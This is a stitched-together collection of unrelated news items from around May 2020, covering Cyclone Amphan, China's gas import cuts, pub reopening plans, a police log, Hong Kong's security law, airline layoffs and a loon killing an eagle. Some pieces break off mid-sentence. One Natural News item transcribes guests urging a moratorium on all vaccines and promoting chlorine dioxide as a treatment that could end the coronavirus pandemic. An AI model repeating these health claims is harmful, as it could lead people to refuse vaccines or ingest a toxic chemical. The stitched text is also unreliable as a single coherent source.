A second shorter meeting is held in May, immediately after the World Health Assembly, to discuss administrative matters.

India became a part of WHO on January 12, 1948. The first session of the South East Asia Regional Committee was held on October 4-5, 1948.

My association with WHO dates back to early 1990s; I have even served as an advisor to the organisation and feel deeply honoured to have trust and faith of all of you, Harsh Vardhan added.

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(Natural News) During a recent interview on IAMTV, with Alan Keyes and Bob Sissen, three health freedom advocates offered a list of executive actions that President Trump could take to end Big Pharmas death grip on the USA and save countless lives from the pharma death industry.

Dr. Judy Mikovits, Andreas Kalcker and myself, Mike Adams, offered a comprehensive list that could radically improved humanitys survival, health and prosperity. Heres a partial transcript from the video:

Judy Mikovits: The first thing to do is to end the 1986 Vaccine Injury Compensation act, which removes all liability. The second thing is a five-year moratorium on all vaccines until theyre tested safe and thatll take a lot longer than five years. In those five years,everyones going to realize they have natural immunity and youre going to see these diseases go away. Close the FDA. Close the CDC. Close the EPA. All of these corrupt organizations, reorganize them. Open them to give back the taxpayers their money to be able to use the medicines naturally.Well put Dr. David Lewis in charge of the EPA. He wrote the book Science for Sale uncovering the corruption in that industry. We can have Dr. Stephanie sent up there over the FDA. No more GMO, no more Roundup so he can do all these things and reject and end the BayhDole Act which government employees who are paid with taxpayer money for Health and Human Services to patent their work. No more patents. All the drugs belong to the people. All our brains belong to the people because you paid for our education, everything. That will turn around all of medicine to give it back all doctors equal. No more health insurance. $5000 tax-free account you can spend on anything you want. Your supplement, your cannabis, your chlorine dioxide. You can take care of your health just the way we used to when I was a little kid.

Mike Adams: In addition to that outstanding list, I would ask President Trump issue an Executive order expanding the First Amendment to cover truthful speech about nutritional supplements and natural interventions, alternative medicine, healing remedies. If its truthful, then it should not be criminal, obviously. If we just shut down the FDA and the FTC and the CDC that would solve the problem as well. Secondly, and this is something President Trump can issue right now, he can issue an Executive Order ordering the FDA to ban direct-to-consumer drug advertisements. They are illegal in almost every country in the world. If he were to do that, he would immediately halt the disease-mongering and the profiteering of the drug companies. He would cut off about 70 percent of the revenues to the fake news industries such as CNN that depends on pharma profits, which is why they are puppets of Big Pharma. He could do that with an Executive Order. Finally, I agree with Dr. Mikovits that patents, there should never be intellectual property claims over drugs. Drugs can be developed by universities. Most of the drug development that happens in the United States is actually funded by the NIH anyway, and drug companies simply exploit that free money so they can make billions off of patented drugs, which are really FDA-enforced drug monopolies. That needs to end.

Andreas Kalcker: I would put to that that when you have the patents, you cannot patent any living entity at all. Life is life and this is not patentable, and this is one of the things that has been put in the last time that has to be out of that. Because if you cannot patent a virus, theres no business anymore. The next thing is that you can make the pharmaceutical compound. We dont need the FDA-approved thing if chlorine dioxide is just approved as a pharmaceutical compound. Its a very simple substance that can be used and prescribed by every doctor and be made in any simple pharmacy. That would be my dream and the dream of the world. We could end [the pandemic] in a very few months before even the elections. We could end all these drama of coronavirus.

Judy Mikovits: And restore our economy. These gross natural products. This HHS. This whole corrupt monster. Just knock it down. And give us back our freedom.

In the IAMTV video below, you can hear the suggestions for President Trump beginning at around 28:20.
Cyclone Amphan: Prime Minister Narendra Modi reached West Bengal to take stock of the situation in the wake of cyclone Amphan and met West Bengal Governor Jagdeep Dhankhar and Chief Minister Mamata Banerjee at the airport.

Prime Minister Narendra Modi on Friday arrived at the Kolkata Airport to take stock of the situation in the wake of cyclone Amphan and conduct an aerial survey. He was received by West Bengal Governor Jagdeep Dhankhar and state Chief Minister Mamata Banerjee. The Prime Minister will take stock of the situation in the wake of cyclone Amphan and conduct aerial surveys in West Bengal and Odisha today.

Besides conducting aerial surveys, the Prime Minister will take part in review meetings, where aspects of relief and rehabilitation will be discussed. Union Ministers Dharmendra Pradhan, Babul Supriyo, Pratap Chandra Sarangi and Debashree Chaudhuree, who hail from West Bengal and Odisha, are accompanying the Prime Minister.

This is Prime Minister Modis second visit to West Bengal this year, only state apart from Uttar Pradesh where he has had multiple visits this year. He first visited on January 11-12 for the 150th-anniversary celebrations of Kolkata Port Trust, dedicating to the national cultural heritage projects like a new museum at Old Currency Building and a programme at Belur Math.

Also Read: RBI slashes repo rate by 40 bps, extends loan moratorium by 3 months

#CycloneAmphan: For PM's aerial survey visit, Central ministers (who hail from Odisha and West Bengal) Dharmendra Pradhan, Babul Supriyo, Pratap Chandra Sarangi and Debasree Chaudhuri will accompany him. https://t.co/O62klrEQV2  ANI (@ANI) May 22, 2020

PM Narendra Modi received by West Bengal CM Mamata Banerjee and Governor Jagdeep Dhankhar on arrival at Kolkata Airport. The PM will be conducting an aerial survey of the areas affected by #CycloneAmphan. pic.twitter.com/efrNAog2Sd  ANI (@ANI) May 22, 2020

On Thursday, Mamata Banerjee said that Rs 1,000 crore fund has been created for restoration work for areas affected due to cyclone Amphan, which has claimed lives of 72 people in the state. According to the latest reports about Cyclone Amphan, West Bengal chief minister Mamata Banerjee informed that total 80 people dead in the natural calamity, and many are left homeless.

Till now we have got the information that 80 people have died: West Bengal CM Mamata Banerjee #CycloneAmphan pic.twitter.com/PyXqSZNmO7  ANI (@ANI) May 22, 2020

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As China cuts back on its commitments to import natural gas, it is trying to spread the shortfall among its increasingly hard-pressed suppliers.

Hints of tensions have been rising since early March when reports first surfaced that PetroChina, the listed subsidiary of state-owned China National Petroleum Corp. (CNPC), tried to halt contracted gas imports due to the COVID-19 crisis, slumping demand, and limited storage capacity.

In a move first reported by Reuters, China's main gas importer sent suspension notifications to its suppliers of both pipeline gas and liquefied natural gas (LNG), citing force majeure, an internationally recognized legal exclusion for circumstances beyond a party's control.

The attempts to invoke force majeure met with resistance and expressions of concern from some of China's suppliers.

An executive of France's Total said the company had "rejected" one force majeure claim, Reuters reported. The objection came in an apparent response to an earlier attempt by China National Offshore Oil Co. (CNOOC) to turn away a contracted LNG cargo in February.

In another instance, Russia's Gazprom denied receiving a force majeure notice from PetroChina but then agreed to shut down its newly-opened Power of Siberia gas pipeline to China for two weeks of maintenance, according to Interfax.

A government official in Turkmenistan, China's largest pipeline supplier, voiced hope that the suspension "will not affect long-term, strategic and mutually beneficial Turkmen-Chinese partnership in the gas sector," Reuters reported.

Troubling signs

Two months later, there are signs that the problems with China's force majeure declarations are continuing to trouble suppliers.

On May 5, a leading energy official in Uzbekistan told S&P Global Platts news service that Central Asian countries are still in talks about reducing deliveries to China.

"China requested a cut, but indicated that any reduction in gas supplies would be carried out proportionally between Turkmenistan, Kazakhstan, and Uzbekistan," said Mekhriddin Abdullaev, CEO of the Uzbekneftegaz state oil and gas company.

"A coordinating committee of the three Central Asian countries that supply gas to China is discussing exact volumes. A decision has not yet been made," Abdullaev said.

Other reports suggest that significant reductions in deliveries from the China-Central Asia pipeline system have already taken place.

On March 11, Kazakhstan Energy Minister Nurlan Nogayev told Reuters that PetroChina had declared force majeure on the country's five-year supply contract signed in 2018 and that deliveries had already dropped by 20-25 percent.

Kazakhstan exported 7.1 billion cubic meters (bcm) of gas to China last year, while Turkmenistan delivered 33.2 bcm, Platts said, citing Chinese customs data. Uzbekistan shipped 7.6 bcm last year, Newsbase Daily News said.

If Kazakhstan's cut were applied proportionally to the other Central Asian suppliers, regional volumes for China could drop by some 10-12 bcm this year.

The reductions would fall heavily on Turkmenistan, which has no other customer for gas exports, aside from Russia's Gazprom, which said last July that it could buy up to 5.5 bcm per year.

The country may suffer not only from reduced volumes but also lower export prices due to oil-linked pricing formulas and the global crude glut.

Turkmenistan was already expected to face a sharp economic slowdown, according to regional forecasts released by the European Bank for Reconstruction and Development (EBRD) this month.

Economic growth in Turkmenistan is expected to slide to 1 percent this year from a reported 6.3 percent in 2019, the EBRD said.

Demand likely to recover

The extent of the damage is likely to depend on how long the crisis drags on.

"It's hard to say if the cuts will go beyond this year," said Mikkal Herberg, energy security research director for the Seattle-based National Bureau of Asian Research.

Barring a second wave of infections, Herberg said, gas demand is likely to recover through the end of this year, growing gradually through 2021.

Herberg noted that temporary disruptions in Central Asian gas supplies took place during the winters of 2017-2018 and 2018-2019, reportedly due to equipment failures in Turkmenistan. Neither episode did long-term damage to Turkmenistan's economy or China's role in the region,

But the force majeure claims have highlighted Central Asia's reliance on China's energy demand and economic growth.

Although Kazakhstan's economy is more diversified than Turkmenistan's, 76 percent of its gas exports went to China in the first quarter, according to Interfax.

The country is also struggling with lower oil revenues, Herberg said.

Kazakhstan has agreed to reduce oil production by 390,000 barrels per day in May and June under a cooperation agreement with the Organization of Petroleum Exporting Countries, known as OPEC+.

Last year, Kazakhstan's oil production edged up 0.1 percent to an average of 1.82 million barrels per day.

The EBRD estimated that Kazakhstan's economy will contract by 3 percent this year following growth of 4.5 percent in 2019.

Projections steadily falling

Economic projections for the country have been falling steadily since January, when the World Bank forecast called for 3.7-percent growth in 2020. In April, the Asian Development Bank lowered its forecast to 1.8 percent from 3.8 percent in December.

In his response to Platts, Abdullaev portrayed Uzbekistan as the least affected of the three exporting countries on the 1,833-kilometer (1,138-mile) Central Asia-China system.

The country's longer-term plan calls for reducing gas exports to "almost zero" over the next decade, Platts reported.

"Our goal is to process gas in Uzbekistan and maximize returns along the entire value chain for gas-based products,"Abdullaev said.

Despite the plans for industrial investment and gas chemical projects, the EBRD forecast estimates that Uzbekistan's economic growth will slip to 1.5 percent this year from 5.6 percent in 2019.

It is unclear whether the proportionality principle of China's cuts would also apply to Russia's pipeline deliveries or to LNG imports. The 3,000-kilometer (1,864-mile) Power of Siberia pipeline, which opened in December, is scheduled to deliver 5 bcm to China this year.

While Russia's gas prices for China at the border are believed to be significantly higher than those for Europe, they may be cheaper for delivery within China than Central Asian supplies.

"Central Asia gas has been expensive due to the enormous transportation costs of getting it to eastern China. CNPC has complained for years that they lose money on every molecule of gas," said Herberg.

"Russian gas should be far less expensive, as to shorter distance from the border," he said. "So, it's not impossible to imagine CNPC would press to retain Russian volumes while cutting Central Asian volumes due to cost differences."

Increased domestic production

While the shares of the gas reductions have yet to be settled, China is pressing ahead with efforts to increase domestic production, lessening dependence on imports during the consumption slowdown.

In the first four months of the year, China's domestic gas output climbed 10.3 percent to 64.4 bcm, while imports of combined pipeline gas and LNG rose just 1.5 percent from a year earlier to 32.3 million metric tons, according to National Bureau of Statistics and customs data.

Gas imports surged 12.2 percent from a year earlier in the comparable period of 2019.

In the first quarter, China's apparent gas consumption, based on production, net imports, and changes in inventory, increased 1.6 percent from a year before, according to the National Development and Reform Commission, the government's top planning agency.
British pub group JD Wetherspoon has spelled out in detail what the typical new normal bar experience for its customers will be like when pubs reopen  and has costed the necessary retrofit of its UK and Irish pubs at an initial 11m (12.2m).

The group  which owns nearly 900 pubs across the UK and Ireland  has not said when it plans to reopen, only so much as when it gets the official green light from both governments. This is despite the UK looking to reopen its pubs in July and August 10 being set as the tentative reopening date for pubs in Ireland.

Earlier this month, Wetherspoon said it has no intention of rowing back on ambitious expansion plans for Ireland  where it currently has either a live presence or development plans in Dublin, Cork, Waterford, Galway and Carlow, and has seven pubs in operation.

While it doesnt see it being the end of the pub as we know it, reopenings will see the birth of a new pub experience.

All Wetherspoon pubs will have screens at the cash tills and screens will be in place to ensure social distancing is respected at seating areas.

Wetherspoon will also provide gloves, masks and protective eyewear to employees, who can elect to wear them or not subject to government guidelines in both countries.

Every employee will also be required to complete and sign a daily health assessment questionnaire to confirm they are fit to work. This will include having their temperature taken using a digital thermometer.

There will be separate entry and exit points to the pubs where possible. An average of ten hand sanitiser dispensers will be dotted around each pub and staff will monitor the bar at all times in order to maintain social distancing among customers.

Food condiments will come in sachets instead of usual bottles, customers will be encouraged to use Wetherspoons order and pay app and staff can only handle customer drinks by the base of the glass.

Wetherspoon was conspicuous by its absence, earlier this week, when a number of major UK pub chains called on the British government to halve the social distancing rule to one metre when pubs reopen to allow for more customers and make it more commercially viable to reopen premises.

We have spent a number of weeks consulting with staff who work in our pubs, as well as area managers in order to draw up our plans, said Wetherspoon chief executive John Hutson.

We have received more than 2,500 suggestions from our staff. The safety of our staff and customers is paramount.

Mr Hutson said while the UK government has not confirmed any reopening date for pubs it is important for the group to be prepared for any announcement.

He said all Wetherspoon staff will receive a full briefing and training on the new way of running the pubs. A spokesperson said all plans include its Irish-based pubs also.
The following list includes recent reports from the Midland County Sheriffs Office and the Midland Police Department. Compiled by reporter Mitchell Kukulka.

Tuesday, May 19

11:27 p.m.  Deputies were dispatched to a Jerome Township location in reference to a 35-year-old Lansing man who was on foot and needed a ride out of the area due to the flooding. The man did not have a cell phone and needed a ride to Mount Pleasant. A deputy transported the man to Oil City, where he was turned over to his 37-year-old brother.

10:25 p.m.  A deputy told residents of an apartment complex that leaving the area was advised because of flooding.

6:51 p.m.  A deputy was dispatched to a Jerome Township roadway for a car crash causing injuries and a fire. The deputy was diverted to close down westbound U.S.-10 due to the river flooding the Sanford area. It is believed that Michigan State Police handled the crash.

3:40 p.m.  A 72-year-old Jerome Township man said he lost a chainsaw out of the back of his truck over the past two or three days. The man believed he observed his chainsaw case in the water off West River Road, but was not able to look closer due to the private property. A deputy was able to look closer from state-owned property on the other side of the creek and it was a sign, not a chainsaw case.

1:49 p.m.  A 21-year-old woman reported her roommate urinated on her clothes and household items. It was later determined the roommate urinated while sleep walking. The complainant did not wish to file a report.

1:06 p.m.  Deputies responded to a Warren Township location for a two-vehicle crash.

9:26 a.m.  Deputies responded to a car-deer crash in Lincoln Township.

4:25 a.m.  Deputies assisted the Edenville Township Fire Department with residential evacuations due to emergency flooding.

3:58 a.m.  A deputy was dispatched to a Jerome Township residence to make contact with an 80-year old woman and advise her of an emergency evacuation that was taking place.

3:40 a.m.  Deputies assisted the Jerome Township Fire Department with residential evacuations due to emergency flooding.

1:02 a.m.  A deputy was dispatched to a Jerome Township residence to make contact with a 48-year-old man and advise him of an emergency evacuation that was taking place.
The Palestinian Authority has rejected COVID-19 aid flown from the United Arab Emirates directly to Israel, citing sovereignty concerns.

On Tuesday, Etihad Airlines flew the first direct commercial flight from the UAE to Israel carrying medical aid for the Palestinians. The two states lack formal relations, as is the case with many Arab countries and Israel. In recent years, Israel and the UAE have been brought closer together due to shared concerns about Iran.

However, on Thursday, Palestinian Prime Minister Mohammed Shtayyeh said that the Palestinian government only learned about the delivery from media reports.

We were not informed about this and there was no coordination with us on either end, with our ambassador in the Emirates or here, he said, according the Associated Press.

The plane took off from Etihads hub Abu Dhabi and landed in Tel Avivs Ben Gurion Airport carrying protective equipment, ventilators and other medical gear.

The PAs health minister said the authority could not accept the aid "because what is important is that we have sovereignty here, reported the Associated Press.

It now unclear where the aid went or will go.

The PA controls the West Bank, which most countries consider Palestinian land occupied by Israel. The PA administers some parts of the territory, while the Israeli military controls others directly.

There are currently 423 confirmed COVID-19 cases in the Palestinian territories, which include the West Bank and the Gaza Strip. Some Palestinians have praised the prime ministers handling of the pandemic. The response is not separate from the Israeli-Palestinian conflict, and some Palestinian residents of Jerusalem have complained about Israels actions against the virus there.
Two women take a selfie at the top of the Mondarrain Mount near Itxassou, southwestern France as France eases lockdown measures taken to curb the spread of the COVID-19. (Photo by GAIZKA IROZ / AFP) (Photo by GAIZKA IROZ/AFP via Getty Images)

'Couchant or Sunset beach' in roped off distancing zones marked out by the municipality along the beach in La Grande Motte, southern France.(Photo by CLEMENT MAHOUDEAU / AFP) (Photo by CLEMENT MAHOUDEAU/AFP via Getty Images)

Coronavirus has infected about five million people across the world and killed more than 328,000, according to a tally by Johns Hopkins University.

The news comes as Europe attempts to get back to some kind of routine way of life.

Austria is currently preparing for the summer tourist season while taking extra precautions to ensure coronavirus does not pick up again.

Chancellor Sebastian Kurz said people from countries where Covid-19 has stabilised could count on summer holidays with "maximum safety and maximum enjoyment".

Expand Close People sunbath at 'Couchant or Sunset beach' in roped off distancing zones marked out by the municipality along the beach in La Grande Motte, southern France. (Photo by CLEMENT MAHOUDEAU / AFP) (Photo by CLEMENT MAHOUDEAU/AFP via Getty Images) / Facebook

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Whatsapp People sunbath at 'Couchant or Sunset beach' in roped off distancing zones marked out by the municipality along the beach in La Grande Motte, southern France. (Photo by CLEMENT MAHOUDEAU / AFP) (Photo by CLEMENT MAHOUDEAU/AFP via Getty Images)

And there is an agreement with Germany, Liechtenstein and Switzerland to fully open borders next month.

Mr Kurz was optimistic similar arrangements could be reached with Austria's eastern neighbours in the coming week.

Distancing measures in Austria will remain in place and hotel staff will be tested regularly for Covid-19.

"We need to ensure that the infection rate remains low," Mr Kurz said. "The lower the infection numbers, the more people will go out."

Cyprus is also lifting most restrictions of a two-month stay-at-home order.

The decision allows for the reopening of primary schools, hair salons and outdoor cafes.

People will no longer need permission forms or electronic approval to move outside their home or heed a night curfew.

Public parks and squares are open, but groups of more than 10 are prohibited.

Beginning on Saturday, sunbathers may go to beaches on the east Mediterranean island, and the faithful can attend services at churches, mosques and other places of worship.

Meanwhile, Italian authorities have warned that young people gathering without respecting social distancing rules and not wearing masks are risking the country's hard-won efforts to control the coronavirus outbreak.

Expand Close A woman wearing a sunhat and protective face mask walks along the 'Couchant or Sunset beach' in La Grande Motte. (Photo by CLEMENT MAHOUDEAU / AFP) (Photo by CLEMENT MAHOUDEAU/AFP via Getty Images) / Facebook

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Whatsapp A woman wearing a sunhat and protective face mask walks along the 'Couchant or Sunset beach' in La Grande Motte. (Photo by CLEMENT MAHOUDEAU / AFP) (Photo by CLEMENT MAHOUDEAU/AFP via Getty Images)

Milan mayor Giuseppe Sala said he has asked local police to increase patrols of night spots, be more severe in handing out fines, and close any bars or restaurants in flagrant violation of the rules.

Spaniards are going about their restricted lives wearing masks in compliance with a government order that came into force yesterday.

Masks are now mandatory for people over six years old in all public spaces, including outdoors when they cannot keep a distance of two metres between them.

The new ruling affects approximately 45 million people. It departs from earlier recommendations to make the masks compulsory only for health workers and those with Covid-19 symptoms.

Last month, the government extended their obligatory use to public transport. But the country's official in charge of easing its lockdown has said Spain will only reopen to foreign tourists in July, once safety for locals and visitors can be guaranteed.

Wary of the competition from other Mediterranean countries already reopening borders, hoteliers and officials in tourist-magnet islands and coastal regions have been pressing Spanish central authorities to relax curbs in place to fight the outbreak.

But environment and energy minister Teresa Ribera said an early opening to visitors would be "irresponsible".

In Sri Lanka, police said three women died in a stampede when residents of a Colombo neighbourhood scrambled to receive aid being distributed to people who have lost their livelihood because of new coronavirus restrictions.

Lebanon's prime minister has warned of a major food shortage in the Mediterranean country which is facing an unprecedented economic and financial crisis made worse by the coronavirus pandemic.

Prime Minister Hassan Diab also warned of eventual "starvation" in the Middle East that he said may spark a new migration flow to Europe.

Japan's economy minister said experts have approved a government plan to remove a coronavirus state of emergency in Osaka and two neighbouring prefectures where the infection is deemed to be slowing, while keeping the measure in place in the Tokyo region and Hokkaido.

And the central Chinese city of Wuhan, where the global coronavirus pandemic is believed to have originated, has issued a total ban on the hunting, breeding and human consumption of wild animals.

The move is in an apparent response to research showing the virus most likely originated among bats and was transmitted to people via an intermediary wild species sold for food at a market in the city.

The regulation seeks to carry out measures passed at the national level covering protected land animals as well as sea life, promising financial relief to help dealers move into other lines of business. It will be enforced immediately and will be in effect for five years.
According to authorities, a man from West Virginia is being accused of killing his neighbor by gouging his eyes out in a dispute over a loud rooster.

A statement from the Mercer County Sheriff's Office was cited by The Bluefield Daily Telegraph, which reported the suspect, Richard Wayne Ellison, 74 years old, was caught Sunday in suspicion of killing Benny Foutch.

Annoyance can kill

A criminal complaint wrote that Ellison confessed to a detective of killing a loud rooster, and then gouging out his neighbor's eyes out because he was told by "Lucifer" to do it.

According to WCHSTV, the complaint the initial call was made for emergency crews to respond and were requested to do a mental evaluation. It is currently unknown if the suspect has an attorney.

The suspect allegedly stormed onto Foutch's property after being annoyed by the noise of his neighbor's loud rooster that led to the two's argument.

EMS responders found Foutch on the scene, dead, with blood dripping from his eye sockets, as reported by the New York Post.

The dead rooster was allegedly taken by Ellison, which he gave to his son to dispose of before law enforcement arrived at their residence for his arrest.

Also Read: Mother Intentionally Sets Car on Fire While Toddler Son is Trapped Inside

"I asked Ellison what happened with him and Benny, he then made the hand motion of pressing his thumbs to his eyes," said Detective-Corporal M.S. Horn of the Mercer County Sheriff's Office. "He advised he went up there to kill the rooster because of a movie he had watched and because it was crowing."

"Ellison later explained that he pressed his thumbs into Benny's eyes, he advised that he stayed there until he knew Benny was dead," added the complaint. "He made the statement that he killed him, referring to the incident with Benny. He made a reference that Lucifer made him do it. He kept asking me to shoot him, that he deserved it. He then talked about getting somebody in the jail to kill him."

Murder over animals

A similar case was seen when a man from Thornton was arrested for murdering his neighbor after getting into an argument over a dog, as reported by The Denver Post.

Michael Kourosh Sadeghi, 33 years old, was put on trial in April 2019. On March 27, 2018, law enforcement was dispatched to respond to reports of gunfire.

When police officers arrived at the scene at the residence located at 4625 E. 106th Avenue, they discovered the body of Dustin Schmidt, 42 years old, in his backyard with gunshot wounds.

The suspect allegedly got into an argument with the victim when the dog of Schmidt's girlfriend jumped the fence and headed into Sadeghi's yard.

The dog, named Bruno, a German shepherd mix dog, was allegedly hanging by his leash before Schmidt pulled him back over the fence into their yard.

According to prosecutors, the two got into four arguments before Sadeghi's shot Schmidt, killing him. Sadeghi was scheduled to be sentenced on June 24, 2019.

Related Article: Mexican Journalist Slayed in Armed Attack, Third to Die in 2020

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Beijing is set to establish new national security agencies in Hong Kong as it attempts to wipe out protests in the Chinese territory.

Hong Kong's opposition leaders reacted furiously to the surprise move revealed in a late night press conference on Thursday, warning it would be the "end of Hong Kong", following the protests that engulfed the city throughout 2019.

The late-night move triggered swift reactions around the world. United States legislators are preparing a bipartisan bill to sanction Chinese officials who implement the laws and President Donald Trump threatened to address the issue "very strongly". The last British governor of Hong Kong, Chris Patten, said it was a comprehensive assault on the citys autonomy, rule of law, and fundamental freedoms.

Hong Kong riot police patrol during a demonstration outside a shopping mall on May 10. Credit:Getty Images

Hong Kong's stockmarket fell sharply as it opened on Friday. The Hang Seng lost 4.6 per cent as traders waited on more details out of Beijing. The draft legislation, submitted to the National People's Congress on Friday afternoon, shows the scope of the sweeping measures China has planned to clamp down on dissent in the former British colony.
Source: Xinhua| 2020-05-22 22:54:51|Editor: huaxia

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HONG KONG, May 22 (Xinhua) -- Chan Man-ki, a deputy to the National People's Congress (NPC) from the Hong Kong Special Administrative Region (HKSAR), has prepared a suggestion on the legislation to safeguard national security in Hong Kong for the third session of the 13th NPC that started on Friday.

Her suggestion stemmed from an imperative and urgent cause.

The prolonged disturbance in Hong Kong following proposed ordinance amendments last year has pushed the threat to the homeland, political and public security to a crux in the special administrative region of China, severely damaging the social order and the rule of law and exposing the practice of "one country, two systems" to its gravest challenge since Hong Kong's return.

A handful of extremist and secessionist groups advocating "Hong Kong independence" openly and wantonly desecrated the Chinese national flag and emblem. Their rampage posed grave threats to the national unity and security.

"The opposition forces not only plotted to overthrow the HKSAR government, but also attempted to subvert the state power, the Communist Party of China leadership and the socialist system," said Chan Yung, an NPC deputy from Hong Kong and vice-chairperson of the Democratic Alliance for the Betterment and Progress of Hong Kong.

The disturbance last year is, in essence, a Hong Kong version of the "color revolution" instigated by the United States and other external forces after the illegal "Occupy Central" movement of 2014, said Wong Ying-ho, a member of the National Committee of the Chinese People's Political Consultative Conference (CPPCC).

The disturbance has not only undermined the foundation of "one country, two systems," but also put Hong Kong residents' legitimate rights in peril.

About 90 percent of Hong Kong's metro stations were vandalized, over 1,500 traffic lights destroyed and more than 1,200 residents injured by rioters in the second half of 2019 alone. A man in his 70s was killed by a brick-throwing rioter while another resident suffered serious injuries after being doused with inflammable liquid and set ablaze by rioters.

During the disturbance, Hong Kong police have seized a large number of firearms, bullets and explosive materials.

Hong Kong may be heading into an era of terrorism, a report from Hong Kong's Independent Police Complaints Council said on May 15.

Improving the legal system and the rule of law in Hong Kong to safeguard national security is a prerequisite for the full and accurate implementation of "one country, two systems" and the long-term prosperity and stability of Hong Kong, Chan Man-ki said.

"While Hong Kong was unable to complete the legislation on its own, the timely legislation by the central authorities is aimed at bringing 'one country, two systems' back on track," said Chu Kar-kin, a member of a research association of the Basic Laws of Hong Kong and Macao special administrative regions.

"No matter what system a country applies, unitary or federal, enacting legislation on national security is the power of the national legislature," said Kan Chung-nin, a member of the CPPCC National Committee and founding chairman of the Association of Hong Kong Professionals.

"To prohibit and punish crimes that severely damage national security in accordance with the law is precisely to ensure that Hong Kong residents can better enjoy the legitimate rights and freedoms so as to let the society return to normal," said Ip Lau Suk-yee, a member of the HKSAR Executive Council. Enditem
Laudamotion, a Ryanair subsidiary has said it will lay off 300 workers in its main base in Vienna after the transport union refused to accept pay cuts for employees of the airline. Lauda has said that it will shut down its base in Vienna on May 29 after no it was unable to break a deal with the Vida, a trade union representing workers in the transport and service industries in Austria. Laudamotion was founded by the Formula One racing driver Niki Lauda and was merged into Ryanair in 2018.

Read: Ryanair Plans To Restore 40% Of Flights By July 1

Job cuts in Ryanair

Ryanair, Europes largest low fares airline itself is cutting jobs to deal with the coronavirus crisis. The airline on May 15 announced that it has reduced its office headcount in Dublin, Stansted, Madrid, and Wroclaw by over 250. Earlier this month, the Irish airline had announced that it planned to cut 15 per cent of its workforce, which is about 3,000 staff members due to coronavirus lockdown.

Read: British Airways, Ryanair Cancel Hundreds Of Flights Amid Coronavirus Dread

While announcing job cuts on May 15, Ryanairs People Director Darrell Hughes said, "This is a very painful time for Ryanair, our crews and our people supporting operations from our Dublin, Stansted, Madrid, and Wroclaw offices. While we expect to re-open our offices from 1 June next, we will not require the same number of support team members in a year when we will carry less than 100m passengers, against an original budget of 155m. Further announcements on Ryanair crew job losses and pay cuts are expected before the end of May in the light of further and on-going flight restrictions."

Read: Ryanair CEO Criticized For Singling Out Muslim Men As Threat

Media reports suggest that Ryanair flights will remain grounded until July and the airline may slash the pay of its employees by up to 20 per cent. CEO O'Leary's salary was cut by 50 per cent after he decided to forgo his salary and said he wants to continue with this for the remaining financial year, that is until March 2021.

Read: Irish Carrier Ryanair To Lay Off 3,000 Workers By End Of July Amid COVID-19 Crisis

(Image Credit: Laudamotion/webpage)


22 opposition parties call upon Centre to declare Cyclone Amphan as national calamity

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New Delhi, May 22: Twenty-two opposition parties urged the Centre on Friday to immediately declare the devastation caused by Cyclone Amphan in Odisha and West Bengal as a national calamity and called for substantially helping the two states in facing the impact of the disaster.

The leaders of the 22 parties, who met through video-conferencing, passed a resolution in this regard and said relief and rehabilitation should be the topmost priority at this juncture.

"We, the opposition parties, extend our sympathy and support to the governments and people of West Bengal and Odisha in meeting the impact of the devastation caused by Cyclone Amphan," the resolution said.

Cyclone Amphan: PM Modi announces Rs 1,000 crore relief for West Bengal

PM Modi announces Rs 1000 crore immediate relief for cyclone-hit West Bengal | Oneindia News

It said a natural calamity like Cyclone Amphan has come as a double blow to the states amid the coronavirus pandemic, breaking the spirits of people. "Opposition parties, therefore, urge the central government to immediately declare this as a national calamity and substantially help the states in facing the impact of this disaster," the resolution said.

It added that the people of Odisha and West Bengal urgently need the support and solidarity of the governments and citizens of the country. Noting that relief and rehabilitation should be the topmost priority at this juncture, the resolution said the possibility of an outbreak of other diseases as a result of the calamity must also not be ignored. "We, the opposition parties, call upon the central government to provide urgent help to our fellow citizens/countrymen," it said.

During the meeting, the leaders conveyed their deepest condolences to the families of those who lost their lives due to the cyclone.

"We express our solidarity and sympathies with the pain of those who have suffered other losses. The country and its people are already in the midst of a grim struggle for survival combatting the COVID-19 pandemic," they said.

The meeting called by Congress chief Sonia Gandhi was attended by the leaders of the Trinamool Congress (TMC), Nationalist Congress Party (NCP), Dravida Munnetra Kazhagam (DMK) and Left parties, among others.
We have a sincere hope and belief that there will be help that comes from the federal government, because without it, this state and states all across the nation will end up laying off firefighters and police officers and nurses and so many other people in the services that people need, Democratic Gov. J.B. Pritzker said Thursday from his second-floor Capitol office.
(JTA)The Senate has introduced legislation to enhance partnerships between American and Israeli companies on COVID-19 projects, thus lessening U.S. dependence on China for life-saving medications and treatments.

The bipartisan legislation was introduced on Wednesday as Secretary of State Mike Pompeo, on a whirlwind eight-hour visit to Israel, criticized China while praising Israel.

Youre a great partner, Pompeo said in an appearance with Prime Minister Benjamin Netanyahu before their meeting in Jerusalem. You share your information, unlike some other countries that try and o...
A bald eagle was killed last year in Maine after being stabbed through the heart by a loon for attacking its chick, wildlife officials have revealed.

This appears to be the first recorded instance where a loon killed an eagle.

A biologist at the Maine Department of Inland Fisheries and Wildlife got word about a dead bald eagle floating facedown in the waters at Highland Lake in 2019.

The bird had been found with a puncture would in its chest by a loon biologist in New Hampshire.

A dead loon chick was also discovered near the eagle, the Bangor Daily News reports.

Danielle D'Auria, a biologist who revealed the findings on Monday, believes it to be one of the strangest cases of eagle death she has ever seen.

The Maine Department of Inland Fisheries and Wildlife revealed that a bald eagle was found dead in 2019

Wildlife officials weren't initially sure what the cause of death could have been, but theorized the eagle may have been shot dead.

There were no eyewitnesses of the event, but a woman in a nearby cabin said she heard a 'hullabaloo' the night before the eagle was found.

D'Auria said the eagle was collected by Maine Game Warden Neal Wykes and taken to Norway Veterinary Hospital to undergo a radiograph to examine for bullet wounds.

Bald eagles are protected by the Bald and Gold Eagle Protection Act and it is illegal to kill the bird in the United States.

Dead eagles are taken to the National Eagle Repository in Colorado, where parts of the bird can be given to Native Americans for ceremonies.

'Under the Bald and Golden Eagle Protection Act the first criminal offense is a misdemeanor with maximum penalty of one year in prison and $100,000 fine for an individual,' according to the U.S. Fish and Wildlife Service.

The bald eagle was retrieved from Highland Lake by Maine Game Warden Neal Wykes (pictured) and taken to a veterinary hospital for a radiograph

Conflicts between loons (pictured) and eagles have escalated as the eagle populations come back

Maine wildlife officials got special permission from the U.S. Fish and Wildlife to send the eagle to the National Wildlife Health Center in Madison, Wisconsin, to formally determine if it was killed by a loon.

The evidence showed no gun residue but indicated that the big bird had been stabbed through the heart by the beak of a loon.

She said the loon may have been attempting to save its loon duckling from the eagle and lashed out.

'This puncture wound could have been due to an adult loon's beak as a result of its attempt to protect its chick from the eagle,' D'Auria wrote in a blog entry for the state agency.

